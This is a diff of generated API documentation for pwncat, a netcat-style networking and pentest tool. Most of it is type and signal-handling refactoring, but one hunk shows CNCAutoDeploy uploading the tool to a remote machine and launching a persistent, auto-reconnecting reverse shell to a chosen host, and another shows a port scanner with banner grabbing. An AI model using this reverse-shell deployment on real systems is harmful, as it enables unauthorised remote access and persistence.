def __init__( self, - enc, # type: StringEncoder - send, # type: Callable[[str], None] - recv, # type: Callable[[], Iterator[str]] + network, # type: IONetwork cmd, # type: str host, # type: str ports, # type: List[int] ): # type: (...) -> None try: - super(CNCAutoDeploy, self).__init__(enc, send, recv) - except FileNotFoundError: + super(CNCAutoDeploy, self).__init__(network) + except CNCPythonNotFound: return local_path = os.path.abspath(__file__) remote_path = self.create_remote_tmpfile() + remote_stdout = self.create_remote_tmpfile() + remote_stderr = self.create_remote_tmpfile() if remote_path is None: + self.print_info("Unable to create tmpfile. Aborting and handing over to current shell.") return if not self.upload(local_path, remote_path): + self.print_info("Unable to upload file. Aborting and handing over to current shell.") return - # TODO: Ensure pwncat stays running - self.__start_pwncat(remote_path, cmd, host, ports) + self.__start_pwncat(remote_path, cmd, host, ports, remote_stdout, remote_stderr) + + # We need to wait some time for slow severs + self.print_info("Waiting for socket") + time.sleep(2) + self.flush_receive() + + self.print_info("Done. Handing over to current shell.") return - def __start_pwncat(self, remote_path, binary, host, ports): - # type: (str, str, str, List[int]) -> None + def __start_pwncat(self, remote_path, binary, host, ports, stdout, stderr): + # type: (str, str, str, List[int], Optional[str], Optional[str]) -> None for port in ports: command = [] command.append("nohup") - command.append(self.python) + command.append(self.remote_python) command.append(remote_path) command.append(host) command.append(str(port)) command.append("--exec {}".format(binary)) command.append("--reconn") command.append("--reconn-wait 1") + if stdout is not None and stderr is not None: + command.append("> {}".format(stdout)) + command.append("2> {}".format(stderr)) + elif stdout is not None: + command.append("> {} 2>&1".format(stdout)) + elif stderr is not None: + command.append("> {} 2>&1".format(stderr)) command.append("&") data = " ".join(command) print("Starting pwncat rev shell: {}".format(data)) - self.remote_command(data)
+ self.remote_command(data, False)

Ancestors

+
+class CNCPythonNotFound +(...) +
+
+

CNC Exception handler.

+
+ +Expand source code + +
class CNCPythonNotFound(BaseException):
+    """CNC Exception handler."""
+
+

Ancestors

+ +
class ColoredLogFormatter (color, loglevel) @@ -7472,7 +9445,7 @@

Methods

# -------------------------------------------------------------------------- @property def function(self): - # type: () -> Callable[..., Iterator[str]] + # type: () -> Callable[..., Iterator[bytes]] """`IO.producer`: Callable funtcion function.""" return self.__function @@ -7492,7 +9465,7 @@

Methods

# Contrcutor # -------------------------------------------------------------------------- def __init__(self, function, *args, **kwargs): - # type: (Callable[..., Iterator[str]], Any, Any) -> None + # type: (Callable[..., Iterator[bytes]], Any, Any) -> None self.__function = function self.__args = args self.__kwargs = kwargs
@@ -7522,7 +9495,7 @@

Instance variables

@property
 def function(self):
-    # type: () -> Callable[..., Iterator[str]]
+    # type: () -> Callable[..., Iterator[bytes]]
     """`IO.producer`: Callable funtcion function."""
     return self.__function
@@ -7991,7 +9964,7 @@

Instance variables

class DsIOStdinStdout -(encoder, input_timeout) +(encoder, input_timeout, send_on_eof)

A type-safe data structure for IOStdinStdout options.

@@ -8017,14 +9990,21 @@

Instance variables

"""`float`: Input timeout in seconds for non-blocking read or `None` for blocking.""" return self.__input_timeout + @property + def send_on_eof(self): + # type: () -> bool + """`float`: Determines if we buffer STDIN until EOF before sending.""" + return self.__send_on_eof + # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- - def __init__(self, encoder, input_timeout): - # type: (StringEncoder, Optional[float]) -> None + def __init__(self, encoder, input_timeout, send_on_eof): + # type: (StringEncoder, Optional[float], bool) -> None super(DsIOStdinStdout, self).__init__() self.__enc = encoder - self.__input_timeout = input_timeout + self.__input_timeout = input_timeout + self.__send_on_eof = send_on_eof

Instance variables

@@ -8056,11 +10036,25 @@

Instance variables

return self.__input_timeout
+
var send_on_eof
+
+

float: Determines if we buffer STDIN until EOF before sending.

+
+ +Expand source code + +
@property
+def send_on_eof(self):
+    # type: () -> bool
+    """`float`: Determines if we buffer STDIN until EOF before sending."""
+    return self.__send_on_eof
+
+
class DsRunnerAction -(producer, consumer, interrupts, transformers, code) +(producer, consumer, interrupts, transformers, daemon_thread, code)

A type-safe data structure for Action functions for the Runner class.

@@ -8082,7 +10076,7 @@

Instance variables

@property def consumer(self): - # type: () -> Callable[[str], None] + # type: () -> Callable[[bytes], None] """`IO.consumer`: Data consumer function.""" return self.__consumer @@ -8098,6 +10092,12 @@

Instance variables

"""`[Transform.transformer]`: List of transformer functions applied before consumer.""" return self.__transformers + @property + def daemon_thread(self): + # type: () -> bool + """`bool`: Determines if the action will be started in a daemon thread.""" + return self.__daemon_thread + @property def code(self): # type: () -> Optional[Union[str, bytes, CodeType]] @@ -8110,9 +10110,10 @@

Instance variables

def __init__( self, producer, # type: DsCallableProducer - consumer, # type: Callable[[str], None] + consumer, # type: Callable[[bytes], None] interrupts, # type: List[Callable[[], None]] transformers, # type: List[Transform] + daemon_thread, # type: bool code, # type: Optional[Union[str, bytes, CodeType]] ): # type: (...) -> None @@ -8120,6 +10121,7 @@

Instance variables

self.__consumer = consumer self.__interrupts = interrupts self.__transformers = transformers + self.__daemon_thread = daemon_thread self.__code = code

Instance variables

@@ -8147,11 +10149,25 @@

Instance variables

@property
 def consumer(self):
-    # type: () -> Callable[[str], None]
+    # type: () -> Callable[[bytes], None]
     """`IO.consumer`: Data consumer function."""
     return self.__consumer
+
var daemon_thread
+
+

bool: Determines if the action will be started in a daemon thread.

+
+ +Expand source code + +
@property
+def daemon_thread(self):
+    # type: () -> bool
+    """`bool`: Determines if the action will be started in a daemon thread."""
+    return self.__daemon_thread
+
+
var interrupts

[List[Callable[[], None]]]: List of interrupt functions for the producer/consumer.

@@ -8198,7 +10214,7 @@

Instance variables

class DsRunnerRepeater -(action, signal, repeat, pause, *args, **kwargs) +(action, ssig, repeat, pause, args, kwargs)

A type-safe data structure for repeated functions for the Runner class.

@@ -8243,10 +10259,10 @@

Instance variables

return self.__kwargs @property - def signal(self): - # type: () -> StopSignal - """`StopSignal`: StopSignal instance.""" - return self.__signal + def ssig(self): + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance.""" + return self.__ssig # -------------------------------------------------------------------------- # Constructor @@ -8254,18 +10270,18 @@

Instance variables

def __init__( self, action, # type: Callable[..., None] - signal, # type: StopSignal + ssig, # type: InterruptHandler repeat, # type: int pause, # type: float - *args, # type: Tuple[Any, ...] - **kwargs # type: Dict[str, Any] + args, # type: Tuple[Any, ...] + kwargs, # type: Dict[str, Any] ): # type: (...) -> None assert type(repeat) is int, type(repeat) assert type(pause) is float, type(pause) assert type(kwargs) is dict, type(kwargs) self.__action = action - self.__signal = signal + self.__ssig = ssig self.__repeat = repeat self.__pause = pause self.__args = args @@ -8343,25 +10359,25 @@

Instance variables

return self.__repeat
-
var signal
+
var ssig
-

StopSignal: StopSignal instance.

+

InterruptHandler: InterruptHandler instance.

Expand source code
@property
-def signal(self):
-    # type: () -> StopSignal
-    """`StopSignal`: StopSignal instance."""
-    return self.__signal
+def ssig(self): + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance.""" + return self.__ssig
class DsRunnerTimer -(action, signal, intvl, *args, **kwargs) +(action, ssig, intvl, args, kwargs)

A type-safe data structure for Timer functions for the Runner class.

@@ -8400,10 +10416,10 @@

Instance variables

return self.__kwargs @property - def signal(self): - # type: () -> StopSignal - """`StopSignal`: StopSignal instance.""" - return self.__signal + def ssig(self): + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance.""" + return self.__ssig # -------------------------------------------------------------------------- # Constructor @@ -8411,16 +10427,16 @@

Instance variables

def __init__( self, action, # type: Callable[..., None] - signal, # type: StopSignal + ssig, # type: InterruptHandler intvl, # type: int - *args, # type: Tuple[Any, ...] - **kwargs # type: Dict[str, Any] + args, # type: Tuple[Any, ...] + kwargs, # type: Dict[str, Any] ): # type: (...) -> None assert type(intvl) is int, type(intvl) assert type(kwargs) is dict, type(kwargs) self.__action = action - self.__signal = signal + self.__ssig = ssig self.__intvl = intvl self.__args = args self.__kwargs = kwargs @@ -8483,18 +10499,18 @@

Instance variables

return self.__kwargs
-
var signal
+
var ssig
-

StopSignal: StopSignal instance.

+

InterruptHandler: InterruptHandler instance.

Expand source code
@property
-def signal(self):
-    # type: () -> StopSignal
-    """`StopSignal`: StopSignal instance."""
-    return self.__signal
+def ssig(self): + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance.""" + return self.__ssig
@@ -8892,8 +10908,8 @@

Instance variables

# -------------------------------------------------------------------------- @property def ssig(self): - # type: () -> StopSignal - """`StopSignal`: StopSignal instance to trigger a shutdown signal.""" + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance to trigger a shutdown signal.""" return self.__ssig @property @@ -8906,7 +10922,7 @@

Instance variables

# Constructor # -------------------------------------------------------------------------- def __init__(self, ssig, safeword): - # type: (StopSignal, str) -> None + # type: (InterruptHandler, str) -> None super(DsTransformSafeword, self).__init__() self.__ssig = ssig self.__safeword = safeword @@ -8929,15 +10945,15 @@

Instance variables

var ssig
-

StopSignal: StopSignal instance to trigger a shutdown signal.

+

InterruptHandler: InterruptHandler instance to trigger a shutdown signal.

Expand source code
@property
 def ssig(self):
-    # type: () -> StopSignal
-    """`StopSignal`: StopSignal instance to trigger a shutdown signal."""
+    # type: () -> InterruptHandler
+    """`InterruptHandler`: InterruptHandler instance to trigger a shutdown signal."""
     return self.__ssig
@@ -8960,8 +10976,8 @@

Instance variables

Set specific options for this IO module.

Args

-
ssig : StopSignal
-
StopSignal instance used by the interrupter.
+
ssig : InterruptHandler
+
InterruptHandler instance used by the interrupter.
@@ -8988,8 +11004,8 @@

Args

# -------------------------------------------------------------------------- @property def ssig(self): - # type: () -> StopSignal - """`StopSignal`: Read only property to provide a StopSignal instance to IO.""" + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance.""" return self.__ssig @property @@ -9003,11 +11019,11 @@

Args

# -------------------------------------------------------------------------- @abstractmethod def __init__(self, ssig): - # type: (StopSignal) -> None + # type: (InterruptHandler) -> None """Set specific options for this IO module. Args: - ssig (StopSignal): StopSignal instance used by the interrupter. + ssig (InterruptHandler): InterruptHandler instance used by the interrupter. """ super(IO, self).__init__() self.__ssig = ssig @@ -9018,7 +11034,7 @@

Args

# -------------------------------------------------------------------------- @abstractmethod def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Implement a generator function which constantly yields data. The data could be from various sources such as: received from a socket, @@ -9030,7 +11046,7 @@

Args

@abstractmethod def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Define a consumer callback which will apply an action on the producer output. Args: @@ -9045,8 +11061,6 @@

Args

Various producer might call blocking functions and they won't be able to stop themself as they hang on that blocking function. NOTE: This method is triggered from outside and is supposed to stop/shutdown the producer. - - You should at least implement it with "self.ssig.raise_stop()" """

Ancestors

@@ -9078,15 +11092,15 @@

Instance variables

var ssig
-

StopSignal: Read only property to provide a StopSignal instance to IO.

+

InterruptHandler: InterruptHandler instance.

Expand source code
@property
 def ssig(self):
-    # type: () -> StopSignal
-    """`StopSignal`: Read only property to provide a StopSignal instance to IO."""
+    # type: () -> InterruptHandler
+    """`InterruptHandler`: InterruptHandler instance."""
     return self.__ssig
@@ -9109,7 +11123,7 @@

Args

@abstractmethod
 def consumer(self, data):
-    # type: (str) -> None
+    # type: (bytes) -> None
     """Define a consumer callback which will apply an action on the producer output.
 
     Args:
@@ -9124,8 +11138,7 @@ 

Args

Define an interrupt function which will stop the producer.

Various producer might call blocking functions and they won't be able to stop themself as they hang on that blocking function. -NOTE: This method is triggered from outside and is supposed to stop/shutdown the producer.

-

You should at least implement it with "self.ssig.raise_stop()"

+NOTE: This method is triggered from outside and is supposed to stop/shutdown the producer.

Expand source code @@ -9138,8 +11151,6 @@

Args

Various producer might call blocking functions and they won't be able to stop themself as they hang on that blocking function. NOTE: This method is triggered from outside and is supposed to stop/shutdown the producer. - - You should at least implement it with "self.ssig.raise_stop()" """
@@ -9161,7 +11172,7 @@

Yields

@abstractmethod
 def producer(self, *args, **kwargs):
-    # type: (Any, Any) -> Iterator[str]
+    # type: (Any, Any) -> Iterator[bytes]
     """Implement a generator function which constantly yields data.
 
     The data could be from various sources such as: received from a socket,
@@ -9188,8 +11199,8 @@ 

Attributes

Set specific options for this I/O module.

Args

-
ssig : StopSignal
-
Instance of StopSignal.
+
ssig : InterruptHandler
+
Instance of InterruptHandler.
opts : DsIOCommand
Custom module options.
@@ -9208,19 +11219,25 @@

Args

# Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, ssig, opts): - # type: (StopSignal, DsIOCommand) -> None + # type: (InterruptHandler, DsIOCommand) -> None """Set specific options for this I/O module. Args: - ssig (StopSignal): Instance of StopSignal. + ssig (InterruptHandler): Instance of InterruptHandler. opts (DsIOCommand): Custom module options. """ super(IOCommand, self).__init__(ssig) self.__opts = opts self.log.debug("Setting '%s' as executable", self.__opts.executable) - # Define destructor - atexit.register(self.__destruct__) + # Did we already run cleanup + self.__cleaned_up = False + + # If we receive only one byte at a time, the remote end is most likely + # in raw mode and we will also start sending one byte at a time. + # This will be determined in the consumer and action is taken in + # the producer. + self.__remote_is_raw = False # Open executable to wait for commands env = os.environ.copy() @@ -9242,19 +11259,11 @@

Args

self.log.error("Specified executable '%s' not found", self.__opts.executable) sys.exit(1) - def __destruct__(self): - # type: () -> None - """Destructor.""" - self.log.trace( # type: ignore - "Killing executable: %s with pid %d", self.__opts.executable, self.proc.pid - ) - self.proc.kill() - # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Constantly ask for input. Yields: @@ -9262,43 +11271,80 @@

Args

""" assert self.proc.stdout is not None while True: - if self.ssig.has_stop(): - self.log.trace("Stop signal acknowledged in Command") # type: ignore + if self.ssig.has_command_quit(): + self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (1)") # type: ignore + self.__cleanup() return self.log.trace("Reading command output") # type: ignore # Byte-wise reading is required to make it work for remote ends being in raw mode # However, the performance of self.proc.stdout.readline() is way faster. # To improve performance we will get rid of all other logging calls here. - data = self.proc.stdout.read(1) + if self.__remote_is_raw: + data = self.proc.stdout.read(1) + else: + data = self.proc.stdout.readline() self.log.trace("Command output: %s", repr(data)) # type: ignore if not data: - self.log.trace("Command output was empty. Exiting loop.") # type: ignore - break - yield self.__opts.enc.decode(data) + if self.ssig.has_command_quit(): + self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (2)") # type: ignore + self.__cleanup() + return + # This usually happens when sending a semicolon only to /bin/[ba]sh + # which then responds with: /bin/sh: line 5: syntax error near unexpected token `;' + # Afterwards the shell is corrupt and gone so we will restart it here. + self.log.error("COMMAND-EOF restarting: %s", self.__opts.executable) + self.proc = Popen( + self.__opts.executable, + stdin=PIPE, + stdout=PIPE, + stderr=STDOUT, + bufsize=self.__opts.bufsize, + shell=False, + env=os.environ.copy(), + ) + continue + yield data def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Send data received to stdin (command input). Args: data (str): Command to execute. """ + # If we only receive one byte at a time, also tell the consumer + # to send one byte at a time immediately and not to wait for a full line. + if len(data) == 1: + self.__remote_is_raw = True + else: + self.__remote_is_raw = False + assert self.proc.stdin is not None - byte = self.__opts.enc.encode(data) - self.log.trace("Appending to stdin: %s", repr(byte)) # type: ignore - self.proc.stdin.write(byte) - self.proc.stdin.flush() + self.log.trace("Appending to stdin: %s", repr(data)) # type: ignore + try: + self.proc.stdin.write(data) + self.proc.stdin.flush() + except BrokenPipeError: + pass def interrupt(self): # type: () -> None """Stop function that can be called externally to close this instance.""" - self.log.trace( # type: ignore - "[IOCommand] subprocess.kill() was raised by input_unterrupter()" - ) - self.proc.kill() - # Raise stop signal - # TODO: Check if this is required??? - self.ssig.raise_stop()
+ self.log.trace("COMMAND-QUIT signal RAISED IOCommand.interrupt") # type: ignore + self.ssig.raise_command_quit() + self.__cleanup() + + def __cleanup(self): + # type: () -> None + """Cleanup function.""" + if not self.__cleaned_up: + self.log.trace( # type: ignore + "COMMAND-QUIT-CLEANUP: killing executable: %s with pid %d", + self.__opts.executable, + self.proc.pid, + ) + self.proc.kill() + self.__cleaned_up = True

Ancestors

+

Instance variables

+
+
var net
+
+

Returns instance of Net.

+
+ +Expand source code + +
@property
+def net(self):
+    # type: () -> Net
+    """Returns instance of Net."""
+    return self.__net
+
+
+

Methods

@@ -9719,9 +11853,12 @@

Methods

Expand source code
def consumer(self, data):
-    # type: (str) -> None
+    # type: (bytes) -> None
     """Send data to a socket."""
-    self.__net.send(data)
+ try: + self.__net.send(data) + except socket.error: + pass
@@ -9736,13 +11873,9 @@

Methods

def interrupt(self):
     # type: () -> None
     """Stop function that can be called externally to close this instance."""
-    self.log.trace(  # type: ignore
-        "[IONetwork] socket.close was raised by calling interrupt() externally."
-    )
-    self.__net.close_conn_sock()
-    self.__net.close_bind_sock()
-    # Raise stop signal
-    self.ssig.raise_stop()
+ self.log.trace("SOCK-QUIT signal RAISE in IONetwork.interrupt") # type: ignore + self.ssig.raise_sock_quit() + self.__cleanup()
@@ -9760,7 +11893,7 @@

Yields

Expand source code
def producer(self, *args, **kwargs):
-    # type: (Any, Any) -> Iterator[str]
+    # type: (Any, Any) -> Iterator[bytes]
     """Network receive generator which hooks into the receive function and adds features.
 
     Yields:
@@ -9776,9 +11909,16 @@ 

Yields

try: yield self.__net.receive() # [2/3] Non-blocking socket is finished receiving data and allows us to do some action - except socket.timeout: + except socket.timeout as err: + # Check if we close the socket for sending + if self.ssig.has_sock_send_eof(): + self.log.trace( # type: ignore + "SOCK-SEND-EOF signal ACK in IONetwork.producer [1]: %s", err + ) + self.__net.send_eof() + # Let's ask the interrupter() function if we should terminate? - if not self.ssig.has_stop(): + if not self.ssig.has_sock_quit(): continue # Stop signal is raied when my own side of the network was closed. # Happened most likely that the user pressed Ctrl+c @@ -9793,12 +11933,19 @@

Yields

curr_recv_timeout_retry += 1 continue # We ware all done reading, shut down - self.ssig.raise_stop() + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.producer [1]: %s", err + ) + self.__cleanup() return - # [3/3] Upstream is gone - except (EOFError, AttributeError, socket.error): + # [3/3] Connection was closed remotely (EOF) or locally (Ctrl+C or similar) + except (EOFError, AttributeError, socket.error) as err: # Do we have a stop signal? - if self.ssig.has_stop(): + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.producer [2]: %s", err + ) + self.__cleanup() return # Do we re-accept new clients? if self.__sock_opts.udp: @@ -9808,7 +11955,9 @@

Yields

continue if self.__role == "client" and self.__client_reconnect_to_server(): continue - return
+ # Inform everybody that we are quitting + self.log.trace("SOCK-EOF signal RAISE in IONetwork.producer") # type: ignore + self.ssig.raise_sock_eof()
@@ -9831,8 +11980,8 @@

Inherited members

Create a Pwncat Network Scanner instance.

Args

-
ssig : StopSignal
-
Stop signal instance
+
ssig : InterruptHandler
+
Instance of InterruptHandler.
encoder : StringEncoder
Instance of StringEncoder (Python2/3 str/byte compat).
host : str
@@ -9878,7 +12027,7 @@

Args

# -------------------------------------------------------------------------- def __init__( self, - ssig, # type: StopSignal + ssig, # type: InterruptHandler encoder, # type: StringEncoder host, # type: str banner, # type: bool @@ -9889,7 +12038,7 @@

Args

"""Create a Pwncat Network Scanner instance. Args: - ssig (StopSignal): Stop signal instance + ssig (InterruptHandler): Instance of InterruptHandler. encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). host (str): The hostname to resolve. banner (bool): Determines if we do banner grabbing as well. @@ -9898,19 +12047,19 @@

Args

""" super(IONetworkScanner, self).__init__(ssig) + self.__ssig = ssig self.__enc = encoder self.__cli_opts = cli_opts self.__sock_opts = sock_opts self.__banner = banner self.__log = logging.getLogger(__name__) - self.__net = Net(encoder, ssig, sock_opts) self.__sock = Sock() self.__screen_lock = threading.Semaphore() # Keep track of local binds (addr-port) of the threaded scanner # clients as we do not want to treat them as open ports (false posistives) - self.__local_binds = [] # type: List[str] + self.__local_binds = {} # type: Dict[str, socket.socket] # Compile our regexes if using banner detection if banner: @@ -9928,13 +12077,13 @@

Args

int(socket.AF_INET), ] self.__targets = {} - try: - for family in families: + for family in families: + try: self.__targets[family] = self.__sock.gethostbyname( host, family, not self.__sock_opts.nodns ) - except socket.gaierror: - pass + except socket.gaierror: + pass # -------------------------------------------------------------------------- # Public Functions @@ -9942,18 +12091,24 @@

Args

def __get_socket(self, family): # type: (Union[socket.AddressFamily, int]) -> socket.socket """Create socket for specific address family endlessly until resources are available.""" - # The scanner is starting many threads, each creating a single socket - # and we might hit the max allowed open files limit, so we will - # endlessly ask the system for a new socket until success. - # Also adding a delay, which will give other threads the time to - # release their sockets. + # The scanner starts one thread for each port to scan. Each thread will also create + # one socket and we might hit the max_allowed_files limit (ulimit). + # That's why we loop through creating sockets until we hit a success + # as in the meantime, other threads might have already released sockets/fd's. while True: + delay = 0.0 + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for IONetworkScanner._getsocket" + ) + raise socket.error("quit") try: if self.__sock_opts.udp: - return self.__sock.create_socket(family, socket.SOCK_DGRAM) - return self.__sock.create_socket(family, socket.SOCK_STREAM) + return self.__sock.create_socket(family, socket.SOCK_DGRAM, False) + return self.__sock.create_socket(family, socket.SOCK_STREAM, False) except socket.error: - time.sleep(0.1) + delay += 0.1 + time.sleep(delay) # This can be bigger to give the system some time to release fd's def __get_banner_version(self, banner): # type: (str) -> Optional[str] @@ -9970,7 +12125,7 @@

Args

for reg in self.BANNER_REG_COMP: match = re.search(reg, banner) if match: - return match.group(1).rstrip() + return StringEncoder.rstrip(match.group(1)) # type: ignore # Nothing found, return first non-empty line for line in lines: @@ -9989,25 +12144,30 @@

Args

payloads = self.BANNER_PAYLOADS[0] for payload in payloads: + # Break the loop on terminate signal + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for IONetworkScanner._getbanner: %s-%d", addr, port + ) + return (False, None) try: if payload is not None: sock.send(self.__enc.encode(payload)) self.__log.debug("%s:%d - payload sent: %s", addr, port, repr(payload)) - sock.settimeout(0.1) + sock.settimeout(0.5) banner = sock.recv(self.__sock_opts.bufsize) version = self.__get_banner_version(self.__enc.decode(banner)) self.__log.debug("%s:%d - respone received: %s", addr, port, repr(banner)) return (True, version) except socket.timeout: - time.sleep(0.1) continue except (OSError, socket.error): return (False, None) return (True, None) def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Port scanner yielding open/closed string for given port. Args: @@ -10022,13 +12182,25 @@

Args

# Loop over adress families for family in self.__targets: + # [1/7] Check for termination request + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for IONetworkScanner.producer" + ) + return + addr = self.__targets[family] - # [1/5] Get socket - sock = self.__get_socket(family) + # [2/7] Get socket + try: + sock = self.__get_socket(family) + sock_type = sock.type + except (AttributeError, socket.error): + # Exception is triggered due to stop stignal and we + # will abort here in that case. + return - # [2/5] Connect scan - succ_conn = False + # [3/7] Connect scan try: laddr, lport = self.__sock.connect( sock, @@ -10042,64 +12214,68 @@

Args

0.1, ) # Append local binds (addr-port) to check against during port scan - self.__local_binds.append(str(laddr + "-" + str(lport))) - succ_conn = True + key = str(laddr + "-" + str(lport)) + self.__local_binds[key] = sock except socket.error: - succ_conn = False + self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port)) + continue + + # [4/7] False positives + # Connect was successful, but against a local bind of one of our + # port scanners, so this is a false positive. + if str(addr + "-" + str(port)) in self.__local_binds: + self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port)) + del self.__local_binds[key] + continue - # [3/5] Banner grabbing + # [5/7] Banner grabbing succ_banner = True banner = None if self.__banner: (succ_banner, banner) = self.__get_banner(sock, addr, port) - # [4/5] Evaluation - if banner is not None and (succ_conn and succ_banner): - if str(addr + "-" + str(port)) not in self.__local_binds: - sock_type = sock.type - yield "[+] {:>5}/{} open ({}): {}".format( - port, - self.__sock.get_type_name(sock_type), - self.__sock.get_family_name(family), - banner, - ) - if banner is None and (succ_conn and succ_banner): - if str(addr + "-" + str(port)) not in self.__local_binds: - sock_type = sock.type - yield "[+] {:>5}/{} open ({})".format( - port, - self.__sock.get_type_name(sock_type), - self.__sock.get_family_name(family), - ) + # [6/7] Evaluation + if banner is not None and succ_banner: + msg = "[+] {:>5}/{} open ({}): {}".format( + port, + self.__sock.get_type_name(sock_type), + self.__sock.get_family_name(family), + banner, + ) + yield self.__enc.encode(msg) + if banner is None and succ_banner: + msg = "[+] {:>5}/{} open ({})".format( + port, self.__sock.get_type_name(sock_type), self.__sock.get_family_name(family), + ) + yield self.__enc.encode(msg) - # [5/5] Cleanup - self.__sock.close(sock, addr + "-" + str(port)) - try: - self.__local_binds.remove(str(addr + "-" + str(port))) - except ValueError: - pass + # [7/7] Cleanup + self.__sock.close(sock, key) + del self.__local_binds[key] def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Print received data to stdout.""" # For issues with flush (when using tail -F or equal) see links below: # https://stackoverflow.com/questions/26692284 # https://docs.python.org/3/library/signal.html#note-on-sigpipe self.__screen_lock.acquire() - print(data) + print(StringEncoder.decode(data)) try: sys.stdout.flush() - except (BrokenPipeError, IOError): + except IOError: # Python flushes standard streams on exit; redirect remaining output - # to devnull to avoid another BrokenPipeError at shutdown + # to devnull to avoid another broken pipe at shutdown devnull = os.open(os.devnull, os.O_WRONLY) os.dup2(devnull, sys.stdout.fileno()) finally: self.__screen_lock.release() def interrupt(self): - # type: (str) -> None - """Not required."""
+ # type: () -> None + """Stop function that can be called externally to close this instance.""" + self.log.trace("SOCK-QUIT signal RAISED in IONetworkScanner.interrupt") # type: ignore + self.ssig.raise_sock_quit()

Ancestors

@@ -10283,8 +12475,8 @@

Inherited members

Set specific options for this I/O module.

Args

-
ssig : StopSignal
-
StopSignal instance.
+
ssig : InterruptHandler
+
InterruptHandler instance.
opts : DsIOStdinStdout
IO options.
@@ -10304,34 +12496,45 @@

Args

# Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, ssig, opts): - # type: (StopSignal, DsIOStdinStdout) -> None + # type: (InterruptHandler, DsIOStdinStdout) -> None """Set specific options for this I/O module. Args: - ssig (StopSignal): StopSignal instance. + ssig (InterruptHandler): InterruptHandler instance. opts (DsIOStdinStdout): IO options. """ super(IOStdinStdout, self).__init__(ssig) self.__opts = opts self.__py3 = sys.version_info >= (3, 0) # type: bool self.__win = os.name != "posix" # posix or nt + self.__stdout_isatty = sys.stdout.isatty() + self.__stdin_isatty = sys.stdin.isatty() + + self.log.debug("STDOUT isatty: %s", self.__stdout_isatty) + self.log.debug("STDIN isatty: %s", self.__stdin_isatty) + self.log.debug("STDIN posix: %s (%s)", str(self.__win), os.name) # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Constantly ask for user input. Yields: str: Data read from stdin. """ + # On --send-on-eof we will return all of its contents at once: + lines = [] + # https://stackoverflow.com/questions/1450393/#38670261 # while True: line = sys.stdin.readline() <- reads a whole line (faster) # for line in sys.stdin.readlin(): <- reads one byte at a time while True: - if self.ssig.has_stop(): - self.log.trace("Stop signal acknowledged for reading STDIN-1") # type: ignore + if self.ssig.has_stdin_quit(): + self.log.trace( # type: ignore + "STDIN-QUIT signal ACK in IOStdinStdout.producer [1]" + ) return try: data = self.__read_stdin() @@ -10339,45 +12542,53 @@

Args

# When using select() with timeout, we don't have any input # at this point and simply continue the loop or quit if # a terminate request has been made by other threads. - if self.ssig.has_stop(): - self.log.trace("Stop signal acknowledged for reading STDIN-2") # type: ignore + if self.ssig.has_stdin_quit(): + self.log.trace( # type: ignore + "STDIN-QUIT signal ACK in IOStdinStdout.producer [2]" + ) return continue if data: self.log.debug("Received %d bytes from STDIN", len(data)) self.log.trace("Received: %s", repr(data)) # type: ignore - yield data + # [send-on-eof] Append data + if self.__opts.send_on_eof: + lines.append(data) + else: + yield data # EOF or <Ctrl>+<d> else: - # DO NOT RETURN HERE BLINDLY, THE UPSTREAM CONNECTION MUST GO FIRST! - if self.ssig.has_stop(): - self.log.trace("Stop signal acknowledged for reading STDIN-3") # type: ignore - return + # [send-on-eof] Dump data before quitting + if lines and self.__opts.send_on_eof: + yield StringEncoder.encode("").join(lines) + self.log.trace("STDIN-EOF signal RAISE in IOStdinStdout.producer") # type: ignore + self.ssig.raise_stdin_eof() def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Print received data to stdout.""" - # For issues with flush (when using tail -F or equal) see links below: - # https://stackoverflow.com/questions/26692284 - # https://docs.python.org/3/library/signal.html#note-on-sigpipe - print(data, end="") + if self.__py3: + sys.stdout.buffer.write(data) + else: + # For issues with flush (when using tail -F or equal) see links below: + # https://stackoverflow.com/questions/26692284 + # https://docs.python.org/3/library/signal.html#note-on-sigpipe + print(data, end="") + try: sys.stdout.flush() - except (BrokenPipeError, IOError): + except IOError: # Python flushes standard streams on exit; redirect remaining output - # to devnull to avoid another BrokenPipeError at shutdown + # to devnull to avoid another broken pipe at shutdown devnull = os.open(os.devnull, os.O_WRONLY) os.dup2(devnull, sys.stdout.fileno()) def interrupt(self): # type: () -> None """Stop function that can be called externally to close this instance.""" - self.log.trace( # type: ignore - "[IOStdinStdout] interrupt() invoked" - ) - # Raise stop signal - # TODO: Check if this is required??? - self.ssig.raise_stop() + # TODO: Does not work on windows as it has blocking read of stdin + self.log.trace("STDIN-QUIT signal RAISE in IOStdinStdout.interrupt") # type: ignore + self.ssig.raise_stdin_quit() # 